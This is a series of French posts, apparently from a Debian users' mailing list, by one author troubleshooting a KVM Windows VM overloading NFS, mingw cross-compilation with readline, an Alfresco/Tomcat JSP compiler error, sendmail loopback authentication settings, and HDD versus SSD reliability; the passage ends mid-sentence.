Re: KVM sur host debian

2024-11-09 Par sujet BERTRAND Joël
Je vais aller regarder, mais je n'ai pas de snapshot configuré...
Enfin, normalement.

JB



signature.asc
Description: OpenPGP digital signature


Re: mingw

2024-11-08 Par sujet BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> Le 11/8/24 à 11:34, BERTRAND Joël a écrit :
>>  Bonjour à tous,
>>
>>  En attendant de réussir à réutiliser ma VM Windows 10, j'ai besoin de
>> compiler un utilitaire (un truc que j'ai écrit moi-même en C) pour qu'il
>> puisse s'exécuter sous Windows.
>>
>>  J'ai donc installé mingw. Problème, mon outil est lié avec readline et
>> la compilation échoue avec :
>>
>> hilbert:[~/cvs/sonde_renard] > make w64
>> x86_64-w64-mingw32-gcc -I. -Icommon/header -c -O2 -g -Werror -Wextra
>> -Wall -Wno-stringop-truncation -o main.obj main.c
>> main.c:6:10: fatal error: readline/readline.h: Aucun fichier ou dossier
>> de ce nom
>> 6 | #include 
>>   |  ^
>> compilation terminated.
>> make: *** [Makefile:41 : main.obj] Erreur 1
> 
> 
> Je n'ai jamais utilisé Windows de ma vie, mais GNU readline (cf
> https://tiswww.cwru.edu/php/chet/readline/rltop.html ...) est documenté
> comme étant porté sous Windows et Cygwin

Certes.

>> If you are running Windows, I recommend that you use Cygwin
>> <http://www.cygwin.com>, who currently ship readline-8.1
>> <http://www.cygwin.com/packages/summary/libreadline-devel.html> for
>> x86 and x86_64, or, for a version that runs independently of Cygwin,
>> see the mingw64-{i686,x86_64}-readline packages. 
> 
> Espérant avoir aidé,

Un exécutable Cygwin sauf si cela a changé récemment n'est pas
directement un exécutable Windows. Ma question porte sur une version
cross-compilé de readline pour cross-compiler un soft en mode texte sous
Debian et pouvoir l'utiliser sous Windows.

JB



signature.asc
Description: OpenPGP digital signature


mingw

2024-11-08 Par sujet BERTRAND Joël
Bonjour à tous,

En attendant de réussir à réutiliser ma VM Windows 10, j'ai besoin de
compiler un utilitaire (un truc que j'ai écrit moi-même en C) pour qu'il
puisse s'exécuter sous Windows.

J'ai donc installé mingw. Problème, mon outil est lié avec readline et
la compilation échoue avec :

hilbert:[~/cvs/sonde_renard] > make w64
x86_64-w64-mingw32-gcc -I. -Icommon/header -c -O2 -g -Werror -Wextra
-Wall -Wno-stringop-truncation -o main.obj main.c
main.c:6:10: fatal error: readline/readline.h: Aucun fichier ou dossier
de ce nom
6 | #include 
  |  ^
compilation terminated.
make: *** [Makefile:41 : main.obj] Erreur 1

J'admets l'erreur. Je n'ai pas trouvé chez Debian de paquet proposant
les bibliothèques de base cross-compilées avec mingw. Comment
faites-vous dans ce cas-là ? Vous les recompilez depuis les sources ?

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: KVM sur host debian

2024-11-08 Par sujet BERTRAND Joël
didier gaumet a écrit :
> 
> Apparemment je me trompe: un ls sur une image qcow2 montre l'espace
> alloué (virtual size), pas réellement occupé (disk size):
> 
> didier@hp-notebook14:~$ sudo qemu-img info
> /home/machines_virtuelles/win10.qcow2image:
> /home/machines_virtuelles/win10.qcow2
> file format: qcow2
> virtual size: 50 GiB (53687091200 bytes)
> disk size: 23.9 GiB
> cluster_size: 65536
> Format specific information:
>     compat: 1.1
>     compression type: zlib
>     lazy refcounts: true
>     refcount bits: 16
>     corrupt: false
>     extended l2: false
> 
> didier@hp-notebook14:~$ ls -al /home/machines_virtuelles
> total 41245288
> drwxrwxr-x 2 libvirt-qemu libvirt    4096  7 nov.  13:39 .
> drwxr-xr-x 5 root root   4096 15 août  14:43 ..
> -rw--- 1 root root    53695545344 18 août  22:14 debian.qcow2
> -rw--- 1 root root    53695545344  7 nov.  14:35
> opensuse_leap.qcow2
> -rw--- 1 root root    53695545344 17 août  22:54 win10.qcow2
> 
> tu peux peut-être tenter (si la commande veut bien répondre),
> - un qemu-img info pour avoir la taille réellement occupée

hilbert:[~/.local/share/libvirt/images] > qemu-img info
Virtual10-disk001.qcow2
image: Virtual10-disk001.qcow2
file format: qcow2
virtual size: 128 GiB (137438953472 bytes)
disk size: 32.8 GiB
cluster_size: 65536
Format specific information:
compat: 0.10
compression type: zlib
refcount bits: 16
Child node '/file':
filename: Virtual10-disk001.qcow2
protocol type: file
file length: 32.8 GiB (35205677056 bytes)
disk size: 32.8 GiB
hilbert:[~/.local/share/libvirt/images] >

> - un qemu-check pour vérifier sir l'image est corrompue
> - éventuellement un qemu-img resize pour agrandir ton image qcow2 sans
> arrêter ta machine virtuelle, même si ça me semble douteux que le
> changement de taille soit pris en compte immédiatement plutôt qu'au
> prochain démarrage de la VM.
> 
> En tout cas bon courage :-)
> 
> PS: si je comprends à peu près (c'est incertain), si l'option
> data_file_raw a été choisie, qemu crée une image supplémentaire avec les
> entrées-sorties sur l'image principale, ce qui explique tes deux images
> qcow pour une seule machine virtuelle.
> cf doc qemu:
> https://www.qemu.org/docs/master/tools/qemu-img.html#notes

Je ne vois pas comment voir l'état de ce paramètre :-(

JB



signature.asc
Description: OpenPGP digital signature


Re: KVM sur host debian

2024-11-08 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 08/11/2024 à 08:37, BERTRAND Joël a écrit :
> 
>> Bonjour,
>>
>> Pas certain du tout :
>>
>> hilbert:[~/.local/share/libvirt/images] > ls -lh
>> -rw--- 1 bertrand users  21G  7 janv.  2023  netbsd10.0.qcow2
>> -rw-r--r-- 1 bertrand users  33G  7 nov.  16:50  Virtual10-disk001.qcow2
>> -rw--- 1 bertrand users 129G  7 nov.  16:42  win10.qcow2
>>
>> Le disque utilisé par la VM est Virtual10-disk001.qcow2 (j'ai vérifié
>> dans la configuration de la VM). Or je viens de m'apercevoir qu'un autre
>> disque est créé par je ne sais qui et que ce disque fait... 128 Go !
>> Sans doute plus il faudrait que je laisse la VM aller jusqu'au bout.
>>
>> Pour mémoire, la taille de Virtual10-disk001.qcow2 est de 128 Go :
>>
>> hilbert:[~/.local/share/libvirt/images] > file Virtual10-disk001.qcow2
>> Virtual10-disk001.qcow2: QEMU QCOW Image (v2), 137438953472 bytes (v2),
>> 137438953472 bytes
>> hilbert:[~/.local/share/libvirt/images] > file win10.qcow2
>> win10.qcow2: QEMU QCOW Image (v3), 137438953472 bytes (v3), 137438953472
>> bytes
>>
>> et c'est bien la VM qui crée un autre fichier (au nom de la VM) et qui
>> sature le serveur NFS. Précédemment, ce n'était pas le cas.
>>
>> Bien cordialement,
>>
>> JB
> 
> Je suis loin de bien connaître kvm/qemu donc ce que j'avance est à
> prendre avec des pincettes,
> 
> mais je suis resté sur l'impression qu'avec les options standard,
> l'occupation d'une image qemu sur un disque réel est dynamique, ce qui
> suggérerait que ton disque Windows est plein (128Go alloués, 128Go
> occupés) et il semblerait que dans ce cas (supposition, j'y connais rien
> et je n'ai jamais entendu parler d'un tel comportement), qemu crée une
> image temporaire pour éviter de planter la machine? (la dernière partie
> est vraiment une pure hypothèse sans rien pour la soutenir)

Pas possible que le disque soit plein (il n'y a que W10 avec un
logiciel de quelques Mo permettant de programmer un chip USB/RS232).

> tu pourrais simplement essayer de forcer l'extinction de la VM Windows,
> porter la taille de l'image à 200G et redémarrer la machine: peut-être
> que Windows se lancerait normalement (modulo une vérification NTFS au
> départ, probablement)?
> 

Je ne peux pas forcer l'arrêt de la machine. La charge (côté client)
l'interdit. Plus rien ne répond.



signature.asc
Description: OpenPGP digital signature


Re: KVM sur host debian

2024-11-07 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 07/11/2024 à 23:28, BERTRAND Joël a écrit :
> 
>> En fait, ça démarre. Mais le fonctionnement est erratique. Si je
>> laisse
>> le truc assez longtemps, j'arrive à l'écran de connexion. Je peux même
>> ouvrir un session (qui peut s'ouvrir correctement ou pas), mais tout est
>> d'une lenteur abominable en surchargeant le réseau local et le serveur
>> NFS. Ce que je n'avais pas auparavant.
> 
> au feeling, comme ça, ça ressemble plus à un problème dans l'invité
> Windows que dans l'environnement de l'hôte Debian...
> 
> 

Bonjour,

Pas certain du tout :

hilbert:[~/.local/share/libvirt/images] > ls -lh
-rw--- 1 bertrand users  21G  7 janv.  2023  netbsd10.0.qcow2
-rw-r--r-- 1 bertrand users  33G  7 nov.  16:50  Virtual10-disk001.qcow2
-rw--- 1 bertrand users 129G  7 nov.  16:42  win10.qcow2

Le disque utilisé par la VM est Virtual10-disk001.qcow2 (j'ai vérifié
dans la configuration de la VM). Or je viens de m'apercevoir qu'un autre
disque est créé par je ne sais qui et que ce disque fait... 128 Go !
Sans doute plus il faudrait que je laisse la VM aller jusqu'au bout.

Pour mémoire, la taille de Virtual10-disk001.qcow2 est de 128 Go :

hilbert:[~/.local/share/libvirt/images] > file Virtual10-disk001.qcow2
Virtual10-disk001.qcow2: QEMU QCOW Image (v2), 137438953472 bytes (v2),
137438953472 bytes
hilbert:[~/.local/share/libvirt/images] > file win10.qcow2
win10.qcow2: QEMU QCOW Image (v3), 137438953472 bytes (v3), 137438953472
bytes

et c'est bien la VM qui crée un autre fichier (au nom de la VM) et qui
sature le serveur NFS. Précédemment, ce n'était pas le cas.

Bien cordialement,

JB




signature.asc
Description: OpenPGP digital signature


Re: KVM sur host debian

2024-11-07 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 07/11/2024 à 17:12, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> Depuis ce matin, j'essaie désespérément de lancer une machine
>> virtuelle
>> Windows 10 sur une installation KVM. Je précise que cette installation
>> fonctionnait parfaitement jusqu'à récemment (je ne l'utilise pas tous
>> les jours).
> [...]
> L'une des possibilités (parmi bien d'autres) serait une mise-à-jour
> Windows qui a mal tourné et rend le démarrage normal de Windows
> impossible. Auquel cas peut-être que tu gardes la main lors du tout
> début du démarrage et tu peux alors appuyer sur une ou des touche(s) de
> fonction pour démarre en mode sans échec, avec ou sans le réseau, voire
> avec ou sans des périphériques (j'ai vraiment pas souvent utilisé le
> mode sans échec et la dernière fois remonte à plusieurs années):
> https://stackoverflow.com/questions/41842509/libvirt-kvm-qemu-is-it-possible-to-boot-a-windows-guest-into-safe-mode

En fait, ça démarre. Mais le fonctionnement est erratique. Si je laisse
le truc assez longtemps, j'arrive à l'écran de connexion. Je peux même
ouvrir un session (qui peut s'ouvrir correctement ou pas), mais tout est
d'une lenteur abominable en surchargeant le réseau local et le serveur
NFS. Ce que je n'avais pas auparavant.

JB



signature.asc
Description: OpenPGP digital signature


KVM sur host debian

2024-11-07 Par sujet BERTRAND Joël
Bonjour à tous,

Depuis ce matin, j'essaie désespérément de lancer une machine virtuelle
Windows 10 sur une installation KVM. Je précise que cette installation
fonctionnait parfaitement jusqu'à récemment (je ne l'utilise pas tous
les jours).

Les images sont sur un disque NFS.

Dans virt-manager, j'ai actuellement trois machines virtuelles. Une
NetBSD 10, une Windows 7 pro et une Windows 10. Les deux premières
fonctionnent parfaitement. Les paramètres de la troisième me semblent
corrects, sauf que lorsque je lance la machine, la charge sur le serveur
NFS monte en flèche (typiquement, nfs possède 512 threads, la charge
monte à 512 durant plusieurs heures et y reste !), la machine hôte ne
répond quasiment plus (même la souris a du mal à bouger) et je n'arrive
jamais à quelque chose d'utilisable. Les paramètres principaux pour la
machine sont les suivants :
- 8 Go de ram (sur les 32 de l'hôte) ;
- 4 VCPU (sur les 20 CPU de l'hôte).

Le reste des paramètres est identique à ceux de la machine Windows 7.

Quelqu'un a-t-il déjà vu un tel comportement ?

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Alfresco 6.2 et debian/testing

2024-10-31 Par sujet BERTRAND Joël
Trouvé. Un strace du processus montre que tomcat essaie d'ouvrir un
fichier d'eclipse. Après copie dudit fichier dans /var/lib/tomcat9/lib,
ça fonctionne.

Mais la moindre des choses qu'on puisse dire, c'est que l'erreur
n'était pas très explicite.

JB



signature.asc
Description: OpenPGP digital signature


Re: Alfresco 6.2 et debian/testing

2024-10-30 Par sujet BERTRAND Joël
Bonsoir,

J'ai un peu progressé. Jasper.jar n'est plus fourni par Debian. J'ai
donc copié jasper.jar dans /var/lib/tomcat9/lib (j'y avais déjà le
connecteur postgresql).

Mais je me prends encore l'erreur suivante :

30-Oct-2024 19:16:16.305 GRAVE [ajp-nio-127.0.0.1-8009-exec-9]
org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service()
du Servlet [jsp] dans le contexte au chemin [] a retourné une exception
[java.lang.IllegalStateException: Aucun compilateur Java disponible]
avec la cause
java.lang.IllegalStateException: Aucun compilateur Java disponible
at
org.apache.jasper.JspCompilationContext.createCompiler(JspCompilationContext.java:228)
at
org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:638)
at
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:357)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390)
at
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334)
at
javax.servlet.http.HttpServlet.service(HttpServlet.java:779)

La question (pour les spécialistes Tomcat/Java) est donc : où se
configure ce fichu compilateur Java ? Tomcat trouve tout ce qu'il faut
(je vois les logs de tomcat tourner normalement) jusqu'au moment où je
tente une connexion et où jasper.jar est chargé.

Je fatigue d'autant que j'ai absolument de récupérer des documents qui
sont dans les entrepôts alfresco...

JB



signature.asc
Description: OpenPGP digital signature


Re: [HS] La sécurité de testing (Re: Alfresco 6.2 et debian/testing)

2024-10-30 Par sujet BERTRAND Joël
Sébastien NOBILI a écrit :
> Bonjour,
> 
> Je ne connais pas ton contexte et donc ma remarque ne sera peut-être pas
> pertinente,
> mais je la poste quand-même car elle pourrait éveiller la curiosité
> d'autres.
> 
> Testing est la branche de Debian avec le niveau de sécurité le plus
> faible et ne
> devrait pas être utilisée pour un serveur de prod potentiellement exposé
> à des
> attaques.
> 
> https://wiki.debian.org/Status/Testing#Security

Bonjour,

Il faut faire des compromis. Et ici, le compromis est parfaitement
acceptable.

JB



signature.asc
Description: OpenPGP digital signature


Re: Alfresco 6.2 et debian/testing

2024-10-29 Par sujet BERTRAND Joël
ajh-valmer a écrit :
> On Tuesday 29 October 2024 18:46:42 BERTRAND Joël wrote:
> 
> Ce ne serait pas lié à ta base de données et/ou ton serveur Web ?
> (qui sont en relation avec l'ECM).

Alfresco se connecte correctement à la base de données (j'ai vérifié,
c'est une postgresql). Et le serveur web fonctionne correctement, y
compris le revers proxy pour tomcat.



signature.asc
Description: OpenPGP digital signature


Re: Alfresco 6.2 et debian/testing

2024-10-29 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Bonjour,
> 
> Avertissement: je n'y connais absolument rien à tout ça:
> 
> une recherche sur le message d'erreur et Alfresco m'a balancé plusieurs
> résultat dont ton propre post sur le support Alfresco et ce post-là qui
> m"a l'air, de loin, à peu près en rapport avec ton cas:
> https://stackoverflow.com/questions/45937784/how-to-resolve-java-lang-illegalstateexception-no-java-compiler-available-for-c
> 
> 
> peut-être (ou non) que ça t'éclairera un peu.
> Pas la peine de m'en demander plus: tu as compris que sur le sujet je
> tâtonne dans le noir donc si tu entends un grand bruit c'est que je me
> suis cassé la gueule en heurtant quelque chose ;-)
> 

Merci pour l'effort, mais ça ne s'applique pas ici (c'est l'un des
premiers liens qui sort).



signature.asc
Description: OpenPGP digital signature


Alfresco 6.2 et debian/testing

2024-10-29 Par sujet BERTRAND Joël
Bonjour à tous,

J'utilise depuis des années Alfresco sur un serveur testing/amd64.
Depuis la dernière mise à jour du serveur qui date de quelques jours,
Alfresco ne fonctionne plus et je ne comprends pas pourquoi.

La configuration d'Alfresco n'a pas changé. J'ai vérifié celle de
Tomcat (9), le reverse proxy d'Apache, rien n'a changé.

Lorsque j'essaie de me connecter sur Alfresco/share/page, j'obtiens
bien la page de connexion, mais après la connexion, je n'ai plus qu'une
page blanche.

=> le reverse proxy d'Apache tape bien sur Tomcat, lequel trouve le
moyen d'afficher la page de connexion d'Alfresco.

Dans les logs de Tomcat, je trouve ceci :

29-Oct-2024 17:14:27.337 GRAVE [ajp-nio-127.0.0.1-8009-exec-7]
org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service()
du Servlet [jsp] dans le contexte au chemin [] a retourné une exception
[java.lang.IllegalStateException: Aucun compilateur Java disponible pour
les options de configuration compilerClassName : [null] et compiler :
[null]] avec la cause
java.lang.IllegalStateException: Aucun compilateur Java
disponible pour les options de configuration compilerClassName : [null]
et compiler : [null]
at
org.apache.jasper.JspCompilationContext.createCompiler(JspCompilationContext.java:237)
at
org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597)
at
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:399)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:379)
at
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:327)
at
javax.servlet.http.HttpServlet.service(HttpServlet.java:779)
at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:177)
at
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
at
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)
at
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
at
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687)
at
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)
at
org.apache.coyote.ajp.AjpProcessor.service(AjpProcessor.java:433)
at
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:891)
at
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1784)
at
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:1583)

et là, je ne comprends pas. Pourquoi ce fichu truc ne trouve-t-il pas un
compilateur java ?

Lorsque je tape directement sur l'url du serveur (Alfresco tout court),
je me prends comme réponse :

HTTP Status 500 – Internal Server Error

Type Exception Report

Message java.lang.IllegalStateException: Aucun compilateur Java
disponible pour les options de configuration compilerClassName : [null]
et compiler : [null]

Description The server encountered an unexpected condition that
prevented it from fulfilling the request.

Exception

org.apache.jasper.JasperException: java.lang.IllegalStateException:
Aucun compilateur Java disponible pour les options de configuration
compilerClassName : [null] et compiler : [null]

org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:589)

org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:425)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspSe

Re: [Sendmail] Apparition de l'authentification sur 127.0.0.1 depuis une mise à jour récente

2024-07-22 Par sujet BERTRAND Joël
Je me réponds à moi-même.

J'ai trouvé au fin fond du bouquin O'Reilly (Sendmail, 4th edition) une
solution :

GreetPause:192.168 0
# Pas d'authentification pour 127.0.0.1
Srv_Features:127.0.0.1  ALS

Je demande donc à sendmail de ne pas proposer AUTH (A), de ne pas
nécessiter une authentification (L) et de ne pas proposer STARTTLS AUTH.
A était suffisant jusqu'à récemment, il faut maintenant ALS (AL n'est
pas suffisant).

Je ne pense pas que le responsable soit sendmail, mais le client qui
essaie de s'authentifier dès qu'il voit STARTTLS ou AUTH.

Désolé pour le bruit,

JB



signature.asc
Description: OpenPGP digital signature


[Sendmail] Apparition de l'authentification sur 127.0.0.1 depuis une mise à jour récente

2024-07-22 Par sujet BERTRAND Joël
Bonjour à tous,

J'ai un petit souci avec une grosse configuration sendmail (merci de ne
pas commencer par me dire qu'il faut passer à autre chose).

Cette configuration fonctionne correctement depuis des années avec
toutes les grouilles nécessaires (dmarc, dkim, clamav, spamassassin,
greylist...) et traite plusieurs dizaines de mails par jours.

Ce serveur demande une authentification sur le port submission depuis
les IP externes, et ne demandait pas d'authentification sur les deux
interfaces loopback (v4 et v6).

Depuis une mise à jour récente (mais je n'arrive pas à trouver
laquelle), une authentification est arrivée sur le loopback, ce qui
empêche par exemple root de recevoir les messages d'alerte des
différents daemons (dont smartctl, je me suis aperçu du truc après un
plantage disque de week-end).

Root rayleigh:[/etc/mail] > sendmail -v root@localhost
test
root@localhost... Connecting to [127.0.0.1] port 587 via relay...
220 rayleigh.systella.fr ESMTP Sendmail 8.18.1/8.18.1/Debian-5; Mon, 22
Jul 2024 11:12:21 +0200; (No UCE/UBE) logging access from:
localhost(OK)-smmsp@localhost [127.0.0.1]
>>> EHLO rayleigh.systella.fr
250-rayleigh.systella.fr Hello smmsp@localhost [127.0.0.1], pleased to
meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-STARTTLS
250-DELIVERBY
250 HELP
>>> VERB
250 2.0.0 Verbose mode
>>> STARTTLS
220 2.0.0 Ready to start TLS
>>> EHLO rayleigh.systella.fr
250-rayleigh.systella.fr Hello smmsp@localhost [127.0.0.1], pleased to
meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-DELIVERBY
250 HELP
>>> VERB
250 2.0.0 Verbose mode
>>> MAIL From: SIZE=5
530 5.7.0 Authentication required
bertrand... Using cached ESMTP connection to [127.0.0.1] via relay...
>>> RSET
250 2.0.0 Reset state
>>> MAIL From:<> SIZE=1029
530 5.7.0 Authentication required
postmaster... Using cached ESMTP connection to [127.0.0.1] via relay...
>>> RSET
250 2.0.0 Reset state
>>> MAIL From:<> SIZE=2053
530 5.7.0 Authentication required
Closing connection to [127.0.0.1]
>>> QUIT
221 2.0.0 rayleigh.systella.fr closing connection
Root rayleigh:[/etc/mail] >

Je précise que rien n'a changé dans cette configuration (j'ai même
ressorti une archive de l'an passé pour être sûr). Dans access, j'ai bien :

Root rayleigh:[/etc/mail] > cat access
GreetPause:192.168 0
# Pas d'authentification pour 127.0.0.1
SRV_Features:127.0.0.1 A

mais qui semble être ignoré.

Mon sendmail.mc ne semble rien contenir de particulier :

divert(0)dnl
define(`_USE_ETC_MAIL_')dnl
define(`CERT_DIR',`/etc/letsencrypt/live/systella.fr')dnl
define(`confTLS_FALLBACK_TO_CLEAR', `true')dnl
include(`/usr/share/sendmail/cf/m4/cf.m4')dnl
VERSIONID(`$Id: sendmail.mc, v 8.12.3-6.6 2003-09-17 22:44:06 cowboy Exp $')
OSTYPE(`debian')dnl
DOMAIN(`debian-mta')dnl
FEATURE(`masquerade_envelope')dnl
MASQUERADE_AS(`systella.fr')dnl
FEATURE(`use_cw_file')dnl
FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable.db')dnl
VIRTUSER_DOMAIN_FILE(`-o /etc/mail/virtuserdomains')dnl
FEATURE(`access_db',`hash -o -T /etc/mail/access')dnl
FEATURE(`use_ct_file')dnl
FEATURE(`smrsh')dnl
FEATURE(`mailertable')dnl
FEATURE(`greet_pause',1000)dnl
FEATURE(`local_procmail')dnl

LOCAL_CONFIG
include(`/etc/mail/sasl/sasl.m4')dnl
include(`/etc/mail/tls/starttls.m4')dnl
include(`/etc/mail/milter-greylist.m4')dnl
INPUT_MAIL_FILTER(`spamassassin',
`S=local:/var/run/spamass/spamass.sock, F=, T=C:15m;S:4m;R:4m;E:10m')dnl
INPUT_MAIL_FILTER(`clamav', `S=local:/var/run/clamav/clamav-milter.ctl,
F=, T=S:4m;R:4m')dnl
INPUT_MAIL_FILTER(`opendkim', `S=inet:8892@localhost')dnl
INPUT_MAIL_FILTER(`pyspffilter',
`S=local:/var/run/spf-milter-python/spfmiltersock')dnl
INPUT_MAIL_FILTER(`opendmarc', `S=local:/run/opendmarc/opendmarc.sock')dnl
define(`confINPUT_MAIL_FILTERS',
`pyspffilter,opendkim,opendmarc,greylist,spamassassin,clamav')dnl
define(`STATUS_FILE', `/var/lib/sendmail/sendmail.st')dnl
define(`STATUS_FILE', `/var/lib/sendmail/sm-client.st')dnl

FEATURE(`no_default_msa', `dnl')dnl
DAEMON_OPTIONS(`Port=smtp, Name=MTA, Family=inet')dnl
DAEMON_OPTIONS(`Port=smtp, Name=MTAv6, Family=inet6')dnl
DAEMON_OPTIONS(`Port=submission, M=Ea, Name=MSA, Family=inet')dnl
DAEMON_OPTIONS(`Port=submission, M=Ea, Name=MSA, Family=inet6')dnl

MAILER_DEFINITIONS
MAILER(local)dnl
MAILER(smtp)dnl

Si quelqu'un avait un début d'explication...

Bien cordialement,

JB






signature.asc
Description: OpenPGP digital signature


Re: [HS] sauvegarde sur Disque Mécanique ou SSD

2024-07-06 Par sujet BERTRAND Joël
ajh-valmer a écrit :
> On Saturday 06 July 2024 10:56:54 benoit wrote:
>> Le vendredi 5 juillet 2024 à 22:19, Dethegeek a écrit :
>>> C'est une bonne question. Comment est déterminé le MTBF ? 
>>> Par experimentation sur des exemplaires avant mise en production 
>>> de masse, par simulations ?  
> 
> Aujourd'hui, les disques durs SSD semblent fiables.
> Je n'ai connu que des défaillances irrémédiables (poubelle) 
> avec les DD mécaniques, pas avec les SSD.

Moi, avec plusieurs milliers de disques dans la nature (dans des
équipements chez des clients), c'est exactement l'inverse. Je n'ai que
rarement eu de pertes dues à un disque dur à plateaux (il prévient avant
de mourir et si le problème est électronique, ce qui peut arriver, on
sait recouvrer les informations). En revanche, je ne compte plus les SSD
qui meurent subitement sans crier gare (ça va de la corruption du
firmware à un fonctionnement aléatoire allant jusqu'à la corruption des
données). Par ailleurs, un swap sur SSD crame très vite l'_intégralité_
d'un SSD, pas uniquement la partition de swap. J'ai fait quelques
calculs parce que j'ai dû changer les disques d'un volume raid sur un
serveur (raid6 en 4 * 1 To en 2,5"). Ben... Durée de vie de 4 mois avec
des SSD en raison de la partition de swap pourtant relativement peu
sollicitée. J'ai changé les berceaux 2,5" contre des 3,5" pour y mettre
des disques normaux.

> Inutile de se faire du soucis sur ce sujet,
> d'autant que la vitesse de transmission des données
> d'un SSD est incomparable par rapport à un DD mécanique,
> que je ne pourrais plus utiliser.
> On le voit bien au boot, quelle différence !

Je préfère qu'une machine mette deux minutes à démarrer à un SSD qui
meure subitement. Mais je suis un dinosaure qui se souvient des 45
minutes de boot de sa VaxStation 3100 et je ne redémarre pas très
souvent mes machines. Pour un portable, je veux bien un SSD, mais pas
pour une machine fixe (sauf à avoir des SSD à un bit par cellule, mais
ils sont hors de prix, et même là, on n'atteint pas la fiabilité d'un
disque mécanique de milieu de gamme en terme d'endurance.).

JB



signature.asc
Description: OpenPGP digital signature


Re: [HS] sauvegarde sur Disque Mécanique ou SSD

2024-07-06 Par sujet BERTRAND Joël
Sébastien Dinot a écrit :
> À l'époque où l'on gravait encore des DVD, je me souviens qu'un
> fabricant proposait des DVD en verre, vendus une fortune, dont la durée
> de conservation annoncée était de 4 000 ans.

1/ On grave toujours des DVD (et d'autres supports optiques).
2/ Le support en verre existe toujours. ;-)

JB



signature.asc
Description: OpenPGP digital signature


Re: [HS] sauvegarde sur Disque Mécanique ou SSD

2024-07-06 Par sujet BERTRAND Joël
Dethegeek a écrit :
> C'est une bonne question. Comment est déterminé le MTBF ? Par
> experimentation sur des exemplaires avant mise en production de masse,
> par simulations ?
> 
> Un MTBF DE 2.5 millions d'heures équivaut à 285 ans. Soit j'ai fait un
> erreur de logique pour calculer soit cette valeur est erronée. Ça me
> semble ni réalisable ni raisonnable au vu de la vitesse d'évolution
> technologique

Pour bosser dans l'électronique, ça se calcule en fonction des
différents composants? On connaît la durée de vie d'un composant soumis
à un stress, donc on sait déterminer la durée de vie moyenne d'un
circuit. Pour la mécanique, c'est exactement pareil.

JB



signature.asc
Description: OpenPGP digital signature


Re: [HS] sauvegarde sur Disque Mécanique ou SSD

2024-07-06 Par sujet BERTRAND Joël
benoit a écrit :
> Le vendredi 5 juillet 2024 à 21:56, benoit  a écrit :
> 
>> J'ai regardé les disque durs avec une moyenne de 2 500 000 h avant panne, 
>> c'est pas donné. Le moins chers que j'ai trouvé est à 240€ pour un Toshiba 
>> MG07ACA de 14 To et en plus c'est du 3,5 pouces et mon rack c'est pour des 
>> disques 2.5 pouces.
> 
> En plus je me répond à moi même et me demande qui a besoin d'une durée de vie 
> aussi démesurée ?
> Et comment on fait pour prétendre que ça va durer si longtemps ?

Bonjour,

Ce sont des "moyennes" en fonction de cas d'usage. Personnellement,
j'ai rarement des problèmes avec des Toshiba (deux pannes sur les 15
dernières années avec je ne sais combien de disques dans la nature).
Attention à bien faire la différence d'usage cependant entre les disques
SRM et CRM (les CRM sont plus fiables mais plus chers). En 2,5", ça
devient difficile de trouver en SATA à plateau.

Aujourd'hui, je privilégie les marques suivantes (dans le désordre) :
- Fujitsu (lorsque j'en trouve)
- Hitachi/HGST
- Toshiba

mais /toujours/ en CRM sauf cas particuliers de disques dans des NAS
d'archivage. Je proscris les Samsung et Seagate avec lesquels je n'ai eu
que des merdes (mort subite de l'électronique, instabilités du bus,
erreurs smart, des vraies qui ne correspondent à aucun défaut et qui
